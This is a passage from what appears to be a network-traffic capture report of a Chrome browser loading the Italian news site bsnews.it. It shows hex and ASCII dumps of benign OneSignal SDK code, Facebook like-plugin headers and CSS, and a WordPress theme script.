2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 74 65 6e 64 73 7c 7c 28 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6f 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 6e 29 26 26 28 65 5b 6e 5d 3d 74 5b 6e 5d 29 7d 29 28 65 2c 74 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 Data Ascii: tends\|\|(o=function(e,t){return(o=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})(e,t)},function(e,t){function n(){this.constructor=e
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 70 74 69 6f 6e 4f 70 74 69 6f 6e 73 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 4b 65 79 22 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 73 75 70 70 6f 72 74 73 56 61 70 69 64 50 75 73 68 3d 74 2e 69 73 4d 61 63 4f 53 53 61 66 61 72 69 49 6e 49 66 72 61 6d 65 3d 74 2e 69 73 50 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 53 75 70 70 6f 72 74 65 64 3d 76 6f 69 64 20 30 2c 74 2e 69 73 50 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 53 75 70 70 6f 72 74 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 29 7c 7c 77 69 6e 64 6f 77 2e 73 Data Ascii: ptionOptions.prototype.hasOwnProperty("applicationServerKey")}Object.defineProperty(t,"__esModule",{value:!0}),t.supportsVapidPush=t.isMacOSSafariInIframe=t.isPushNotificationsSupported=void 0,t.isPushNotificationsSupported=function(){return r()\|\|window.s
2024-03-28 08:51:02 UTC	415	IN	Data Raw: 44 4b 57 6f 72 6b 65 72 2e 6a 73 3f 76 3d 22 2b 65 2e 56 45 52 53 49 4f 4e 29 3a 6f 2e 69 73 50 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 53 75 70 70 6f 72 74 65 64 28 29 3f 28 65 2e 61 64 64 53 63 72 69 70 74 54 6f 50 61 67 65 28 65 2e 67 65 74 50 61 74 68 41 6e 64 50 72 65 66 69 78 28 29 2b 22 4f 6e 65 53 69 67 6e 61 6c 50 61 67 65 53 44 4b 45 53 36 2e 6a 73 3f 76 3d 22 2b 65 2e 56 45 52 53 49 4f 4e 29 2c 65 2e 61 64 64 4f 6e 65 53 69 67 6e 61 6c 50 61 67 65 45 53 36 53 44 4b 53 74 75 62 28 29 29 3a 65 2e 61 64 64 4f 6e 65 53 69 67 6e 61 6c 50 61 67 65 45 53 35 53 44 4b 53 74 75 62 28 29 7d 2c 65 7d 28 29 3b 74 2e 4f 6e 65 53 69 67 6e 61 6c 53 68 69 6d 4c 6f 61 64 65 72 3d 61 2c 61 2e 56 45 52 53 49 4f 4e 3d 4e 75 6d 62 65 72 28 31 35 31 36 30 35 Data Ascii: DKWorker.js?v="+e.VERSION):o.isPushNotificationsSupported()?(e.addScriptToPage(e.getPathAndPrefix()+"OneSignalPageSDKES6.js?v="+e.VERSION),e.addOneSignalPageES6SDKStub()):e.addOneSignalPageES5SDKStub()},e}();t.OneSignalShimLoader=a,a.VERSION=Number(151605
2024-03-28 08:51:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49792	157.240.229.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	875	OUT	GET /plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21 HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	923	IN	HTTP/1.1 200 OK Vary: Accept-Encoding reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-03-28 08:51:03 UTC	1726	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google.com 127.0.0.1: 'unsafe-inline' blob: data: 'self' connect.f
2024-03-28 08:51:03 UTC	1499	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 74 65 3d 28 73 65 6c 66 29 2c 20 64 69 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-write=(self), di
2024-03-28 08:51:03 UTC	352	IN	Data Raw: 36 39 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 73 76 67 20 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 52 35 33 4d 32 65 61 22 3e 5f 5f 44 45 56 5f 5f 3d 30 3b 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 Data Ascii: 69cb<!DOCTYPE html><html lang="en" id="facebook" class="no_svg no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="AR53M2ea">__DEV__=0;</script><title>Facebook</title><style
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 31 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 5f 35 74 69 5f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 5f 35 74 6a 32 7b 68 65 69 67 68 74 3a 39 30 30 70 78 7d 2e 5f 32 6d 6d 33 20 2e 5f 35 61 38 75 20 2e 75 69 42 6f 78 47 72 61 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 7d 62 6f 64 79 2e 70 6c 75 67 69 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 38 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 Data Ascii: 10px;width:100%}._5ti_{background-size:cover;height:100%;width:100%}._5tj2{height:900px}._2mm3 ._5a8u .uiBoxGray{background:#fff;margin:0;padding:12px}body.plugin{background:transparent;font-family:Helvetica, Arial, sans-serif;line-height:1.28;overflow:hi
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 69 6e 76 69 73 69 62 6c 65 5f 65 6c 65 6d 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 7b 63 6c 69 70 3a 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 68 65 69 67 68 74 3a 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 77 69 64 74 68 3a 31 70 78 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 5f 6f 66 66 73 65 74 7b 6d 61 72 67 69 6e 3a 2d 31 70 78 7d 2e 64 69 72 65 63 74 69 6f 6e 5f 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 64 69 72 Data Ascii: }#facebook .invisible_elem{visibility:hidden}#facebook .accessible_elem{clip:rect(1px, 1px, 1px, 1px);height:1px;overflow:hidden;position:absolute;white-space:nowrap;width:1px}#facebook .accessible_elem_offset{margin:-1px}.direction_ltr{direction:ltr}.dir
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 3a 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 68 65 69 67 68 74 3a 32 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 20 38 70 78 7d 2e 5f 32 74 67 61 2e 5f 35 6e 36 66 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 5f 32 74 67 61 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 36 35 38 39 39 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 36 35 38 39 39 7d 2e 5f 38 39 6e 5f 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 38 37 37 66 32 3b 62 6f 72 64 65 72 3a 30 7d 2e 5f 32 74 67 61 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 37 37 66 62 63 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c Data Ascii: :4px;font-size:13px;height:28px;padding:0 8px}._2tga._5n6f{border-top-left-radius:0;border-top-right-radius:0}._2tga:hover{background:#365899;border:1px solid #365899}._89n_:hover{background:#1877f2;border:0}._2tga:active{background:#577fbc;border:1px sol
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 39 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 7d 2e 5f 38 39 6e 5f 2e 5f 33 65 32 61 20 2e 5f 34 39 76 67 2e 5f 38 61 31 39 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 70 78 7d 2e 5f 32 74 67 61 20 2e 5f 35 6e 32 79 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 20 2e 5f 34 39 76 67 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 2e 69 73 5f 61 6e 69 6d 61 74 69 6e 67 20 2e 5f 35 6e 32 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 5f 32 74 67 61 20 2e 5f 34 39 76 67 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 20 2e 5f 35 6e 32 79 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 20 2e 5f 34 6b 61 67 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7a 6f 6f 6d 3a 31 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 5f 32 74 67 61 20 73 70 61 6e 2e 5f Data Ascii: 9{padding-top:2px}._89n_._3e2a ._49vg._8a19{padding-top:1px}._2tga ._5n2y,._2tga.active ._49vg,._2tga.active.is_animating ._5n2y{display:none}._2tga ._49vg,._2tga.active ._5n2y,._2tga.active:hover ._4kag{display:inline-block;zoom:1}#facebook ._2tga span._
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 69 61 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 36 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 36 70 78 7d 2e 5f 32 70 69 62 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 7d 2e 5f 32 6f 31 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 7d 2e 5f 32 6f 31 6e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 36 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 36 70 78 7d 2e 5f 69 6b 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 7d 2e 5f 32 70 69 63 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 34 70 78 7d 2e 5f 32 70 69 64 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 38 70 78 7d 2e 5f 32 70 69 65 7b 70 61 64 64 69 6e 67 2d 74 6f Data Ascii: ia{padding-left:16px;padding-right:16px}._2pib{padding-left:20px;padding-right:20px}._2o1m{padding-left:24px;padding-right:24px}._2o1n{padding-left:36px;padding-right:36px}._iky{padding-top:0}._2pic{padding-top:4px}._2pid{padding-top:8px}._2pie{padding-to
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 74 65 78 74 2c 2e 69 6e 70 75 74 70 61 73 73 77 6f 72 64 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 2e 69 6e 70 75 74 74 65 78 74 3a 69 6e 76 61 6c 69 64 2c 2e 69 6e 70 75 74 70 61 73 73 77 6f 72 64 3a 69 6e 76 61 6c 69 64 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 2e 69 6e 70 75 74 72 61 64 69 6f 7b 6d 61 72 67 69 6e 3a 30 20 35 70 78 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 6e 70 75 74 63 68 65 63 6b 62 6f 78 7b 62 6f 72 64 65 72 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 6e 70 75 74 62 75 74 74 6f 6e 2c 2e 69 6e 70 75 74 73 75 62 6d 69 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 32 36 37 62 32 3b Data Ascii: text,.inputpassword{padding-bottom:4px}.inputtext:invalid,.inputpassword:invalid{box-shadow:none}.inputradio{margin:0 5px 0 0;padding:0;vertical-align:middle}.inputcheckbox{border:0;vertical-align:middle}.inputbutton,.inputsubmit{background-color:#4267b2;
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 32 2d 6a 7a 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 5f 33 2d 38 5f 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 70 78 7d 2e 5f 33 2d 39 30 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 2e 5f 33 2d 39 31 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 32 70 78 7d 2e 5f 33 2d 39 32 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 2e 5f 33 2d 39 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 30 70 78 7d 2e 5f 79 38 74 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 34 70 78 7d 2e 5f 35 65 6d 6b 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 5f 33 2d 39 34 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 2e 5f 33 2d 39 35 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 7d 2e 5f 33 2d 39 36 7b 6d 61 72 67 69 6e 2d 62 Data Ascii: 2-jz{margin-right:0}._3-8_{margin-right:4px}._3-90{margin-right:8px}._3-91{margin-right:12px}._3-92{margin-right:16px}._3-93{margin-right:20px}._y8t{margin-right:24px}._5emk{margin-bottom:0}._3-94{margin-bottom:4px}._3-95{margin-bottom:8px}._3-96{margin-b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49794	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	661	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdModalPostImages.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	729	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=8892 etag: W/"65f20638-22bc" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l9sJLOd3%2F2r2gbx71EoEQq7fE74titu1Lpin%2Bnq5Ayc8K9ewmvveG2PbpS2QiR2MMsJKi5gGgUt9FN63lUfUb3jLgCZXDl6%2FI2MN3BT0zAyC7T2M7mBeO2Uj39s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604a4ffa8256-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:03 UTC	640	IN	Data Raw: 32 32 61 61 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 6a 51 75 65 72 79 28 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 4d 6f 64 61 6c 49 6d 61 67 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 74 64 4d 6f 64 61 6c 49 6d 61 67 65 28 29 7b 76 61 72 20 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 74 64 73 5f 67 65 6e 65 72 61 6c 5f 6d 6f 64 61 6c 5f 69 6d 61 67 65 5f 64 69 73 61 62 6c 65 5f 6d 6f 62 26 26 22 22 21 3d 3d 77 69 6e 64 6f 77 2e 74 64 73 5f 67 65 6e 65 72 61 6c 5f 6d 6f 64 61 6c 5f 69 6d 61 67 65 5f 64 69 73 61 62 6c 65 5f 6d 6f 62 3b 6a 51 75 65 72 79 28 22 66 69 67 75 72 65 2e 77 70 2d 63 61 70 74 69 6f 6e 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d Data Ascii: 22aa"use strict";jQuery().ready(function(){tdModalImage()});function tdModalImage(){var e="undefined"!==typeof window.tds_general_modal_image_disable_mob&&""!==window.tds_general_modal_image_disable_mob;jQuery("figure.wp-caption").each(function(){var a=
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 61 72 65 6e 74 73 28 22 61 2e 74 64 2d 6d 6f 64 61 6c 2d 69 6d 61 67 65 22 29 2e 64 61 74 61 28 7b 63 61 70 74 69 6f 6e 3a 62 2c 63 61 70 74 69 6f 6e 5f 61 6c 69 67 6e 3a 63 7d 29 7d 29 3b 6a 51 75 65 72 79 28 22 2e 74 64 2d 6d 6f 64 61 6c 2d 69 6d 61 67 65 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 6a 51 75 65 72 79 28 74 68 69 73 29 2c 62 3d 61 2e 70 61 72 65 6e 74 28 29 3b 61 2e 66 69 6e 64 28 22 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 22 29 2e 6c 65 6e 67 74 68 7c 7c 28 62 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 6d 6f 64 61 6c 2d 69 6d 61 67 65 22 29 2c 61 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 6d 6f 64 61 6c 2d 69 6d 61 67 65 22 29 29 7d 29 3b 6a 51 75 65 72 79 28 22 61 72 74 69 63 6c 65 22 29 2e 6d Data Ascii: arents("a.td-modal-image").data({caption:b,caption_align:c})});jQuery(".td-modal-image").each(function(){var a=jQuery(this),b=a.parent();a.find(".wp-block-image").length\|\|(b.addClass("td-modal-image"),a.removeClass("td-modal-image"))});jQuery("article").m
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 65 72 44 6f 63 75 6d 65 6e 74 3b 62 3d 62 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 62 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3b 69 66 28 62 21 3d 3d 62 2e 70 61 72 65 6e 74 29 7b 62 3d 62 2e 74 6f 70 3b 76 61 72 20 63 3d 6a 51 75 65 72 79 28 62 29 3b 61 3d 6a 51 75 65 72 79 28 22 23 22 2b 61 2e 61 74 74 72 28 22 69 64 22 29 2c 62 2e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 3b 69 66 28 61 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 64 3d 21 31 3b 6a 51 75 65 72 79 28 22 68 74 6d 6c 22 2c 62 2e 64 6f 63 75 6d 65 6e 74 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 3c 61 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 26 26 28 64 3d 21 30 2c 6a 51 75 65 72 79 28 22 68 74 6d 6c 22 2c 62 2e 64 6f 63 75 6d 65 6e 74 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 61 2e 6f 66 66 73 65 74 28 29 Data Ascii: erDocument;b=b.defaultView\|\|b.parentWindow;if(b!==b.parent){b=b.top;var c=jQuery(b);a=jQuery("#"+a.attr("id"),b.document.body);if(a.length){var d=!1;jQuery("html",b.document).scrollTop()<a.offset().top&&(d=!0,jQuery("html",b.document).scrollTop(a.offset()
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 6e 63 65 2e 77 72 61 70 5b 30 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 62 3d 62 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 62 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3b 62 21 3d 3d 62 2e 70 61 72 65 6e 74 26 26 28 62 3d 62 2e 74 6f 70 2c 6a 51 75 65 72 79 28 22 23 22 2b 61 2e 61 74 74 72 28 22 69 64 22 29 2c 62 2e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 6c 65 6e 67 74 68 26 26 6a 51 75 65 72 79 28 22 68 74 6d 6c 22 2c 62 2e 64 6f 63 75 6d 65 6e 74 29 2e 63 73 73 28 7b 6f 76 65 72 66 6c 6f 77 3a 22 22 7d 29 29 7d 2c 61 66 74 65 72 43 6c 6f 73 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 6a 51 75 65 72 79 2e 6d 61 67 6e 69 66 69 63 50 6f 70 75 70 2e 69 6e 73 74 61 6e 63 65 2e 77 72 61 70 5b 30 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e Data Ascii: 